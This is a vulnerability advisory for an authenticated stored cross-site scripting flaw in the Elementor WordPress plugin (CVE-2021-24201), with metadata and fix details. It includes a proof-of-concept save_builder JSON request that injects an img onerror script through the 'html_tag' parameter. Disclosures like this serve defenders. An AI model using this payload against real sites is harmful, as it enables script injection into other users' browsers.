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Elementor < 3.1.2 - Authenticated Stored Cross-Site Scripting (XSS) in Column Element

Description

In the plugin, the column element (includes/elements/column.php) accepts an ‘html_tag’ parameter. Although the element control lists a fixed set of possible html tags, it is possible for a user with Contributor or above permissions to send a modified ‘save_builder’ request containing JavaScript in the ‘html_tag’ parameter, which is not filtered and is output without escaping. This JavaScript will then be executed when the saved page is viewed or previewed.

Proof of Concept

{"save_builder":{"action":"save_builder","data":{"status":"pending","elements":[{"id":"54e9edd","elType":"section","isInner":false,"settings":{"structure":"20"},"elements":[{"id":"23f46b5","elType":"column","isInner":false,"settings":{"_column_size":50,"_inline_size":null},"elements":[]},{"id":"242ce6a","elType":"column","isInner":false,"settings":{"_column_size":50,"_inline_size":null,"html_tag":"img src=\"\" onerror=\"alert();\""},"elements":[]}]}],"settings":{"post_title":"columnpoc attr","post_status":"pending"}}}} 

Affects Plugins

elementor
Fixed in version 3.1.4

References

CVE
CVE-2021-24201
URL
https://www.wordfence.com/blog/2021/03/cross-site-scripting-vulnerabilities-in-elementor-impact-over-7-million-sites/

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Ramuel Gall

Submitter

Ramuel Gall

Submitter twitter
ramuelgall
Verified

Yes

WPVDB ID
9647f516-b130-4cc8-85fb-2e69b034ced0

Timeline

Publicly Published

2021-03-17 (about 1 years ago)

Added

2021-03-17 (about 1 years ago)

Last Updated

2021-03-20 (about 1 years ago)

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